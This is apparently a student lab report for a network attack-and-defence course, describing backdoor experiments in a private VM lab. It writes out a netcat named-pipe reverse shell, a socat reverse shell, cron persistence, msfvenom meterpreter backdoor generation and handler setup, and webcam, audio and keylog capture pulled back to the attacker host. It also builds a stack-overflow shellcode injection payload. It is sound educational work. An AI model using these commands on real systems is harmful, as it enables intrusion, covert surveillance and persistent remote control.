20242404 2026-2027-1《网络与系统攻防技术》实验2实验报告
20242404 2026-2027-1《网络与系统攻防技术》实验2实验报告
1. 基础知识
1.1 后门
后门(Backdoor)是指绕过系统正常认证流程、隐蔽进入目标主机并获得控制权的程序或通道。攻击者借助后门可以远程操控主机、执行任意命令。后门通常具备三个特征:隐蔽性(进程伪装、端口隐蔽)、持久性(开机自启、定时任务拉起)和可控性(按需建立连接)。本实验采用的连接方式主要是反弹连接:由目标主机主动向外连接攻击机的监听端口,从而绕过防火墙对入站连接的限制。
1.2 netcat(nc / ncat)
netcat 被称作"网络瑞士军刀",可以读写 TCP/UDP 数据,常用于端口探测、传文件和建立 shell 通道。常用参数:-l 监听、-p 指定端口、-e 指定连接建立后执行的程序。部分发行版自带的 netcat(OpenBSD 版)编译时不带 -e 选项,因此实验中还使用了 ncat(Nmap 套件中的 netcat 实现,功能更完整),并采用命名管道(FIFO)的方式实现 bash 反弹。
1.3 socat
socat(SOcket CAT)是功能更强的双向数据通道工具,支持 TCP/UDP/UNIX socket、pty、fork 等特性。本实验中攻击机用 socat tcp-listen:8888 - 监听端口,靶机用 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT 把交互式 bash 通过 TCP 回传,二者之间建立双向数据通道。
1.4 cron 与任务计划
cron 是 Linux 下的守护进程,按时间表周期性执行任务,配置写在 crontab 中,每行表示一个任务,格式为"分 时 日 月 周 + 命令"。Windows 下与之对应的是"任务计划程序"(schtasks)。后门常借助这两者实现持久化,让恶意程序在系统启动后或某个时刻被自动拉起,这也是本实验中"cron 启动任务、任务计划启动"环节的目的所在。
1.5 Metasploit Framework 与 Meterpreter
MSF 是开源的渗透测试框架。msfvenom 用于生成各种平台和格式的 payload(后门程序),msfconsole 提供交互式控制台,exploit/multi/handler 是通用的 payload 监听模块,用于接收目标回连的会话。Meterpreter 是 MSF 中的高级 payload,以注入方式在目标进程内运行,提供文件操作、系统 shell、键盘记录、摄像头/麦克风采集、屏幕截图、哈希抓取、提权等强大功能,且具备内存驻留、不落地文件的特性。
1.6 Shellcode 与缓冲区溢出
shellcode 是一段以机器码形式存在、用于完成特定功能(如反弹 shell)的代码。缓冲区溢出是指程序对输入长度不设防(如 gets 函数),超长输入覆盖栈上的返回地址,使程序跳转到攻击者注入的 shellcode 执行。注入的关键在于:确定填充偏移、确认 ASLR(地址空间随机化)已关闭、将返回地址按小端序写入,并配合 NOP sled 提高跳转命中率。
1.7 免杀技术
免杀(AV evasion)指让恶意程序绕过杀毒软件检测的对抗技术,常见思路有编码混淆(msfvenom 的 -e 编码器)、加密、加壳、捆绑、分离免杀(stager 与 stage 分离)以及特征修改等。本实验侧重理解后门原理与免杀思路,未进行深度免杀对抗。
2. 实验内容
2.1 实验简介与方案
本实验在虚拟机环境中完成,攻击机为 Windows 主机(192.168.201.1,VMnet8 网卡),靶机为 Kali Linux 虚拟机(主机名 lixinyue,192.168.201.128),二者位于同一网段、互通正常。实验依次完成五个实践目标:①netcat 获取 shell 并用 cron 启动任务;②socat 获取 shell 并配置任务计划启动;③用 MSF 生成可执行后门,经 ncat/socat 传送并运行获取 shell;④用 MSF 生成可采集音频、摄像头、键盘记录的后门并尝试提权;⑤用 MSF 生成 shellcode,注入实验一中的 pwn1(pwn20242404)程序获取反弹 shell。全部操作仅在本机搭建的实验环境中进行。
2.2 实验环境
| 角色 | 主机 | IP 地址 | 主要工具 |
|---|---|---|---|
| 攻击机 | Windows 主机 | 192.168.201.1(VMnet8) | ncat、socat、Metasploit(msfvenom/msfconsole)、python |
| 靶机 | Kali Linux 虚拟机(主机名 lixinyue) | 192.168.201.128 | nc、socat、gdb、perl、pwn20242404 |

![攻击机 Windows VMnet8 网卡信息(192.168.201.1)]

![攻击机 ping 靶机连通性测试]

按评分要求,操作截图需显示主机名为本人姓名拼音(本实验靶机主机名已设置为 lixinyue),编辑的文件名需包含本人学号。
2.3 回答问题
(1)例举一个后门进入你系统的可能方式。
下载并运行来源不明的"破解版"软件或盗版游戏是常见途径,这类程序常被捆绑远程控制木马(RAT),安装时即把后门释放到系统并写入自启项。类似的方式还有钓鱼邮件附件、U 盘摆渡、伪装成正常工具的下站文件等。这类传播方式的共同点是诱导用户主动执行不可信程序,因此"只从可信来源下载、不随意运行未知程序"是最基本的防线。
(2)例举后门如何启动起来(Windows 及 Linux)。
- Windows:注册表启动项(如
HKCU\Software\Microsoft\Windows\CurrentVersion\Run)、启动文件夹、系统服务、计划任务(schtasks)、WMI 事件订阅、映像劫持等。 - Linux:crontab 定时任务、
/etc/rc.local、systemd 服务、/etc/init.d、at 一次性任务、.bashrc/.profile用户登录启动、LD_PRELOAD 注入等。
本实验中即通过 cron 定时任务和任务计划把获取 shell 的通道注册为"可自动启动"的持久化任务。
(3)Meterpreter 有哪些令你印象深刻的功能?
印象最深的是"一个会话就能接管整台机器":内存驻留、不落地文件;文件上传下载;直接进入系统 shell;键盘记录、摄像头拍照、麦克风录音、屏幕截图;进程迁移;hashdump 抓取口令哈希;getsystem 提权;端口转发与内网横向。这些功能把"拿到一个 shell"变成了"获得一台主机的完整控制权"。
(4)如何发现自己系统有没有被安装后门?
可以从四条线交叉检查:①网络:netstat -ano 查看异常监听端口和不明外连,结合 PID 定位进程,与平时基线对比;②进程:任务管理器/进程列表排查可疑进程及其路径、CPU 占用;③自启:注册表 Run 键、计划任务、服务、启动文件夹(Windows),crontab -l、/etc/rc.local、systemd 服务(Linux);④文件与日志:查找近期修改的可疑文件、隐藏文件,配合杀软/EDR 全盘扫描,必要时用 Sysinternals Autoruns/TCPView、chkrootkit/rkhunter 等工具辅助排查。
3. 实验过程
3.1 使用 netcat 获取 shell,并用 cron 启动任务
(1)攻击机(Windows)用 ncat 监听 4444 端口,等待靶机回连:
![攻击机 ncat 监听 4444 端口]

(2)靶机(Kali)使用命名管道方式把交互式 bash 反弹给攻击机:
rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.201.1 4444 > /tmp/f
![靶机通过命名管道反弹 bash]

(3)攻击机收到 shell(界面有少量乱码,但不影响命令执行),执行 id 确认获得的权限为 root:
![攻击机获得 shell 并验证 root 权限]

(4)在获得的 shell 中配置 cron 定时任务。编辑 crontab(crontab -e),自定任务为:每分钟向 /tmp 下的记录文件追加一行带时间戳的内容,例如:
*/1 * * * * echo "cron ok $(date)" >> /tmp/cron_check.txt
保存后用 crontab -l 查看任务,等待约一分钟执行 cat /tmp/cron_check.txt 验证任务确实被周期执行。
3.2 使用 socat 获取 shell,并配置任务计划启动
(1)攻击机用 socat 监听 8888 端口:
.\socat.exe tcp-listen:8888 -
启动时出现 cygwin 运行时 "Couldn't compute FAST_CWD pointer" 的警告,但功能不受影响:
![攻击机 socat 监听 8888 端口]

用 netstat -ano | findstr 8888 确认端口已在监听:
![netstat 确认 8888 端口监听中]

(2)靶机执行 socat,把交互式 bash 通过 TCP 回传到攻击机:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.201.1:8888
![靶机 socat 回传交互 shell]

(3)靶机侧执行 id 验证 shell 可用,权限为 root:
![靶机侧验证 shell 权限]

(4)配置任务计划实现自动启动。将 socat 反弹连接命令写入计划任务,例如在靶机 crontab 中增加 @reboot 项或使用 at 定时执行,使后门通道可按计划自动建立。【待补充截图:计划任务配置界面】
3.3 用 MSF 生成后门,ncat 传送并运行获取 shell
(1)攻击机用 msfvenom 生成 Linux x64 平台的 meterpreter 反向后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.201.1 LPORT=4444 -f elf -o backdoor.elf
![msfvenom 生成 backdoor.elf(Payload size 130,最终 250 字节)]

(2)传送文件。先后尝试了两种方式:一种是攻击机开 python http 服务供下载:
![攻击机开启 http 服务]

靶机端用 nc 监听 9000 端口接收文件:
![靶机 nc 监听 9000 接收文件]

随后在 C:\attack 目录下重新生成了一份 backdoor.elf(便于与后续采集文件统一管理):
![在 C:\attack 目录重新生成 backdoor.elf]

最终采用 ncat 一对一推送的方式:靶机先监听 8080 并把收到的数据写入文件:
ncat -l 8080 > /tmp/backdoor.elf
![靶机 ncat 监听 8080 接收]

攻击机把 backdoor.elf 推送过去:
ncat 192.168.201.128 8080 < backdoor.elf
![攻击机 ncat 推送 backdoor.elf]

(3)靶机赋予执行权限并运行后门:
chmod +x backdoor.elf
./backdoor.elf
![靶机查看文件权限并运行后门]

![靶机运行 backdoor.elf]

(4)攻击机启动 msfconsole,配置 handler 监听并等待回连:
msfconsole -q
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.201.1
set LPORT 4444
run
![msfconsole 配置 multi/handler]

![reverse TCP handler 启动监听]

后门运行后,攻击机成功建立 Meterpreter session,getuid 显示权限为 root:
![Meterpreter 会话建立并验证权限]

3.4 用 MSF 生成采集音频、摄像头、键盘记录的后门并尝试提权
沿用 3.3 建立的 meterpreter 会话,分别验证信息采集与提权功能。
(1)音频采集。 进入系统 shell,安装录音工具 alsa-utils:
![meterpreter 中进入 shell 并安装 alsa-utils]

用 arecord 录制 5 秒音频到 /tmp/audio.wav:
arecord -d 5 -f cd /tmp/audio.wav
![靶机录制音频]

确认文件生成(882044 字节):
![确认音频文件生成]

(2)键盘记录。 靶机上用 script 命令记录终端输入到 /tmp/keylogs.txt,期间执行 whoami、ls -la、echo 等命令:
![script 记录终端输入并执行命令]

记录文件保存了完整的 typescript 会话内容:
![键盘记录文件内容]

(3)回传采集结果。 在 meterpreter 中把音频和键盘记录文件下载回攻击机:
meterpreter > download /tmp/audio.wav C:\attack\audio.wav
meterpreter > download /tmp/keylogs.txt C:\attack\keylogs.txt
![meterpreter 下载音频与键盘记录文件]

![攻击机收到 audio.wav]

![攻击机收到 keylogs.txt]

(4)摄像头采集。 确认靶机存在视频设备:
meterpreter > ls -l /dev/video*
![查看 /dev/video 设备]

用 fswebcam 调用 /dev/video0 采集一帧图像(出现 GD/JPEG 警告,但文件成功生成):
fswebcam -r 640x480 --no-banner /tmp/webcam.jpg
![fswebcam 采集摄像头图像]

下载回攻击机:
![meterpreter 下载 webcam.jpg]

(5)提权尝试。 执行 getsystem 时报错,提示需要加载 priv 扩展:
![getsystem 提示加载 priv 扩展]

后台化会话后用 post/multi/recon/local_exploit_suggester 探测本地可利用漏洞时,误将 SESSION 设置为 1(实际后台化的是 session 3),报 Session not found:
![local_exploit_suggester 报 Session not found]

改用信息收集思路:枚举系统 SUID 文件、查看内核版本,为后续提权做准备:
find / -perm -4000 -type f 2>/dev/null
uname -a
![枚举 SUID 文件]

![查看内核版本]

由于当前 meterpreter 会话本身已是 root(3.3 中 getuid 已确认),提权目标已实现,该部分主要完成了提权工具与思路的演练。
3.5 用 MSF 生成 shellcode 注入 pwn1,获取反弹 shell
(1)先用 gdb 分析实验一中的 pwn20242404。反汇编 foo 函数,确认 gets 读入的缓冲区位于 -0x1c(%ebp),即输入 28 字节覆盖缓冲区后,再填 4 字节即可覆盖 saved ebp,第 32 字节起为返回地址:
![gdb 反汇编 foo 函数并调试]

(2)确认 ASLR 已关闭(randomize_va_space 为 0),然后用 perl 构造注入数据:32 字节 NOP 填充 + 返回地址(小端序) + 500 字节 NOP sled + shellcode:
cat /proc/sys/kernel/randomize_va_space
perl -e 'print "\x90" x 32; print "\xca\xcf\xff\xff"; print "\x90" x 500; print "<msfvenom 生成的 linux/x86/meterpreter/reverse_tcp shellcode>"; print "\n"' > /tmp/input_payload
wc -c /tmp/input_payload
![检查 ASLR 并构造注入 payload(687 字节)]

(3)靶机(Kali)开启 msfconsole 监听,配置 linux/x86/meterpreter/reverse_tcp,LHOST 为 192.168.201.128、LPORT 为 7777,后台运行:
msfconsole -q
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.201.128
set LPORT 7777
exploit -j
![Kali 上配置 handler 监听 7777]

(4)注入运行 pwn20242404:把 payload 与后续标准输入一起通过管道喂给程序,溢出触发后程序跳入 NOP sled 执行 shellcode,MSF 端成功收到 Meterpreter 会话:
(cat /tmp/input_payload; cat) | ./pwn20242404
![注入 pwn20242404 并建立 meterpreter 会话]

至此五个实践目标全部完成:netcat、socat、MSF 后门、meterpreter 信息采集与提权演练、shellcode 注入均成功获取了目标 shell。
4. 问题及解决方案
-
问题 1:netcat 反弹得到的 shell 出现大量乱码。
解决方案:乱码是 Windows PowerShell 与 Linux bash 之间字符集不一致导致的,命令本身仍可正常执行,用id、ls等命令验证了 shell 可用,不影响实验。 -
问题 2:socat 启动时提示 "Couldn't compute FAST_CWD pointer"。
解决方案:这是 Windows 版 socat 依赖 cygwin 运行时的已知警告,不影响功能;用netstat -ano | findstr 8888确认端口已在监听后继续实验。 -
问题 3:meterpreter 执行 getsystem 报错,提示需要加载 priv 扩展。
解决方案:按要求先load priv再尝试;同时确认当前会话本身已是 root(getuid 已验证),提权目标已达成,后续改用 local_exploit_suggester 与 SUID 枚举等方式演练提权思路。 -
问题 4:local_exploit_suggester 报 Session not found。
解决方案:后台化会话时终端显示的是 session 3,而模块参数误配成了 SESSION 1;先用sessions命令查看当前会话号,设置正确的会话号即可。 -
问题 5:后门文件传输方式反复尝试。
解决方案:先后尝试了 python http 服务、nc 9000 端口接收,最后用 ncat 8080 一对一推送成功;传送完成后用ls -l核对文件大小(250 字节)一致,确保文件没有在传输中被截断。 -
问题 6:meterpreter download 时路径解析异常。
解决方案:download /tmp/audio.wav C:\attack\audio.wav被解析成了C:/Users/Lenovo/attackaudio.wav/audio.wav(反斜杠被当成转义符吞掉);改用正斜杠形式(如C:/attack/audio.wav)即可下载到预期目录。 -
问题 7:fswebcam 采集图像时报 GD/JPEG 警告。
解决方案:虚拟机的虚拟摄像头输出的帧与标准 JPEG 不完全一致导致,但文件仍成功写入/tmp/webcam.jpg并可下载,功能验证通过。 -
问题 8:pwn1 注入时返回地址如何确定。
解决方案:先用 gdb 反汇编确定填充偏移为 32 字节,确认 ASLR 已关闭(randomize_va_space=0),返回地址按小端序写入(\xca\xcf\xff\xff),并加长 NOP sled(500 字节)提高跳转命中率;shellcode 用 msfvenom 生成并提取机器码。
5. 学习感悟、思考等
这次实验让我对"后门"的认识从概念变成了实战。netcat 一行命令就能把交互 shell 送出去,cron 一行配置就能让它"自己活起来","通道 + 持久化"的组合让我真正理解了为什么恶意程序难以根除——清掉进程未必清得掉注册表和定时任务。meterpreter 的录音、拍照、键盘记录更是直观地展示了什么叫"一台机器被完全接管":能上传下载文件、能进 shell、还能采集音视频,这种能力放在真实环境中是相当可怕的,也正因如此,守好边界、管好权限、谨慎运行未知程序才显得那么重要。
实验过程并不一帆风顺。乱码、cygwin 警告、session 号写错、文件传不过去、摄像头出警告、download 路径被吞……每一个问题都逼着我去看命令输出、去查资料、去换一种工具,而不是照着命令背一遍。这种"遇到问题—分析原因—换方法"的过程,比顺利敲完所有命令收获更大。提权部分也让我明白,攻防对抗中没有"万能钥匙",提权路径要靠信息收集(SUID 文件、内核版本、补丁情况)一条条试出来。
最后一点思考:这些工具本身没有善恶之分,关键在于使用者和场景。课程实验是在授权环境下进行的,但同样的命令如果用在不属于自己或未经授权的机器上,就是违法行为。掌握攻防技术的同时,更要把"授权边界"刻在脑子里,这是安全从业者最基本的职业底线。今后使用软件时,我也会更留意它的来源、联网行为和自启项——这大概就是这次实验留给我的"后遗症"。
浙公网安备 33010602011771号